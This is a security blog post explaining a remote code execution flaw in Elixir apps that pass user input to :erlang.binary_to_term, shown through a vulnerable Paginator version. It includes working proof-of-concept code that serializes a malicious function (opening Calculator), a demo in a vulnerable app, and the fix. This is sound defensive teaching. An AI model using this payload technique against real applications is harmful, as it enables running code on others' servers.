Michael Lubas, 2023-02-28
In a Phoenix application, is the code :erlang.binary_to_term(user_input, [:safe])
secure? The answer is no, as the Erlang documentation states, “The safe option ensures the data is safely processed by the Erlang runtime but it does not guarantee the data is safe to your application. You must always validate data from untrusted sources.” Unsafe usage of binary_to_term/2
can lead to a remote code execution (RCE) vulnerability in your application. This means an attacker sends a string of input, which executes malicious code on your production server.
Did you know that Elixir functions with an arity of 2 implement the Enumerable protocol?
iex(4)> a = fn _x -> IO.puts("Hi from a"); {:cont, []} end
#Function<42.3316493/1 in :erl_eval.expr/6>
iex(5)> b = fn _x, _y -> IO.puts("Hi from b"); {:cont, []} end
#Function<41.3316493/2 in :erl_eval.expr/6>
iex(6)> Enum.zip(a)
** (Protocol.UndefinedError) protocol Enumerable not implemented for #Function<42.3316493/1 in :erl_eval.expr/6> of type Function, only anonymous functions of arity 2 are enumerable
(elixir 1.13.0) lib/enum.ex:4519: Enumerable.Function.reduce/3
(elixir 1.13.0) lib/enum.ex:4143: Enum.map/2
(elixir 1.13.0) lib/stream.ex:1251: Stream.zip_enum/4
(elixir 1.13.0) lib/enum.ex:3819: Enum.zip_reduce/3
(elixir 1.13.0) lib/enum.ex:3673: Enum.zip/1
iex(6)> Enum.zip(b)
Hi from b
[]
This may seem like a random bit of Elixir trivia, but you will soon understand the security relevance of this fact.
Now consider an Elixir app which is using :erlang.binary_to_term/2
. An attacker crafts a malicious payload to run a system command, in this case opening a calculator:
exploit = fn _, _ -> System.cmd("open", ["-a", "Calculator"]); {:cont, []} end
payload =
exploit
|> :erlang.term_to_binary()
|> Base.url_encode64()
In this example, the server is the local development environment. Note that in a real application, the server will not be a Macbook where this command works.
If you run the above code in iex
, you’ll get a base64 encoded string that starts with: "g3AAAAIeAgZTYapGF..."
for payload
. The string payload
is what an attacker sends to the victim Phoenix application, which then runs:
iex(23)> :erlang.binary_to_term(Base.decode64!(payload), [:safe])
#Function<41.3316493/2 in :erl_eval.expr/6>
To get this malicious function to run, the vulnerable Elixir application needs to execute the function via the dot(.
) operator. For example:
It’s possible that a developer would write a Phoenix application that expects a base64 encoded function, from external users, and executes it. This rarely happens. What’s much more common is passing user input to an Enum
function. Elixir functions with an arity of 2 implement the Enumerable protocol, which means malicious functions passed as input to an Enum function (such as Enum.zip/1) will be executed.
iex(9)> b = fn _x, _y -> IO.puts("Hi from b"); {:cont, []} end
#Function<41.3316493/2 in :erl_eval.expr/6>
iex(10)> Enum.zip(b)
Hi from b
[]
In November of 2020 Peter Stöckli discovered a RCE vulnerability in the Paginator library. Read his writeup here.
What does this attack look like in a Phoenix application? Let’s install a vulnerable version of Paginator and find out.
mix.exs
defp deps do
[
{:phoenix, "~> 1.6.15"},
...
{:plug_cowboy, "~> 2.5"},
{:paginator, "~> 0.6.0"}
]
The application will perform a simple task, print five elements and return a value that can be submitted to get five more elements:
What does the base64 encoded string mean?
It encodes the Elixir list [~U[2023-02-27 18:30:21Z], 11]
Examine the PageController code:
defmodule ElementsWeb.PageController do
use ElementsWeb, :controller
...
def page(conn, %{"after" => a}) do
%{entries: entries, metadata: m} = Elements.get_e_page(a)
render(conn, "page.html", elements: entries, a: m.after)
end
def page(conn, _params) do
%{entries: entries, metadata: m} = Elements.get_e_page()
render(conn, "page.html", elements: entries, a: m.after)
end
end
And the Ecto functions:
defmodule Elements do
alias Elements.Repo
alias Elements.Element
import Ecto.Query
def get_e_page() do
q = from(Element, order_by: [asc: :id])
Repo.paginate(q, cursor_fields: [:inserted_at, :id], limit: 5)
end
def get_e_page(a) do
q = from(Element, order_by: [asc: :id])
Repo.paginate(q, after: a, cursor_fields: [:inserted_at, :id], limit: 5)
end
end
The base64 encoded string is being passed to the Paginate library. Let’s run the exploit payload:
exploit = fn _, _ -> System.cmd("open", ["-a", "Calculator"]); {:cont, []} end
payload =
exploit
|> :erlang.term_to_binary()
|> Base.url_encode64()
The calculator means it worked, an attacker can execute malicious code on the server. Searching through Paginator version 0.6.0
(commit 1d5dd3c) quickly shows how the encoded_cursor
is piped into :erlang.binary_to_term([:safe])
.
This means a call to Paginator.Cursor.decode(encoded_cursor)
will return a malicious function. For this attack to work, this malicious functions need to get executed. Peter’s blog post shows exactly how this happens:
defp rce_print_stacktrace() do
exploit = fn _, _ -> IO.inspect(Process.info(self(), :current_stacktrace), label: "RCE STACKTRACE"); {:cont, []} end
payload =
exploit
|> :erlang.term_to_binary()
|> Base.url_encode64()
end
RCE STACKTRACE: {:current_stacktrace,
[
{Process, :info, 2, [file: 'lib/process.ex', line: 769]},
{:erl_eval, :do_apply, 7, [file: 'erl_eval.erl', line: 744]},
{:erl_eval, :expr_list, 7, [file: 'erl_eval.erl', line: 961]},
{:erl_eval, :expr, 6, [file: 'erl_eval.erl', line: 454]},
{:erl_eval, :exprs, 6, [file: 'erl_eval.erl', line: 136]},
{Stream, :do_zip_next, 6, [file: 'lib/stream.ex', line: 1303]},
{Stream, :do_zip_enum, 4, [file: 'lib/stream.ex', line: 1274]},
{Enum, :zip_reduce, 3, [file: 'lib/enum.ex', line: 3819]},
{Enum, :zip, 1, [file: 'lib/enum.ex', line: 3673]},
{Paginator.Ecto.Query, :filter_values, 4,
[file: 'lib/paginator/ecto/query.ex', line: 24]},
{Paginator.Ecto.Query, :paginate, 2,
[file: 'lib/paginator/ecto/query.ex', line: 12]},
{Paginator, :entries, 4, [file: 'lib/paginator.ex', line: 203]},
{Paginator, :paginate, 4, [file: 'lib/paginator.ex', line: 109]},
{ElementsWeb.PageController, :page, 2,
[file: 'lib/elements_web/controllers/page_controller.ex', line: 10]},
{ElementsWeb.PageController, :action, 2,
[file: 'lib/elements_web/controllers/page_controller.ex', line: 1]},
{ElementsWeb.PageController, :phoenix_controller_pipeline, 2,
[file: 'lib/elements_web/controllers/page_controller.ex', line: 1]},
{Phoenix.Router, :__call__, 2, [file: 'lib/phoenix/router.ex', line: 354]},
{ElementsWeb.Endpoint, :plug_builder_call, 2,
[file: 'lib/elements_web/endpoint.ex', line: 1]},
{ElementsWeb.Endpoint, :"call (overridable 3)", 2,
[file: 'lib/plug/debugger.ex', line: 136]},
{ElementsWeb.Endpoint, :call, 2,
[file: 'lib/elements_web/endpoint.ex', line: 1]}
]}
The stack trace shows that a call to Enum.zip
in the lib/paginator/ecto/query.ex
file is responsible for the function being executed, [file: 'lib/paginator/ecto/query.ex', line: 24]}
. To debug how this works, you can run a local copy of Paginator in mix.exs
:
defp deps do
[
{:phoenix, "~> 1.6.15"},
...
{:plug_cowboy, "~> 2.5"},
#{:paginator, "~> 0.6.0"},
{:paginator, path: "/Users/name_here/github_repos/paginator"}
]
end
Now in your local copy of Paginator:
Note the “values here” output with normal input:
And with the exploit:
The call to :erlang.binary_to_term/2
takes the malicious input, and creates the malicious function. It does not get run until Enum.zip
is called, with the malicious function as input.
To see how Paginator fixed this problem, see commit bf45e92
here.
The documentation for Plug.Crypto goes into detail on non_executable_binary_to_term/2. We can test this locally:
See that the exploit no longer works.
:erlang.binary_to_term/2
, use Plug.Crypto.non_executable_binary_to_term/2 if you must convert user supplied input to a term.Paraxial.io stops data breaches by helping developers ship secure applications. Get a demo or start for free.
Subscribe to stay up to date on new posts.